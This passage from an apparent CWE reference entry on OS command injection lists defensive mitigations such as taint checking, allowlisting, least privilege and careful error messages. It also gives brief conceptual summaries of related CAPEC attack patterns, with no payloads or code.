Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.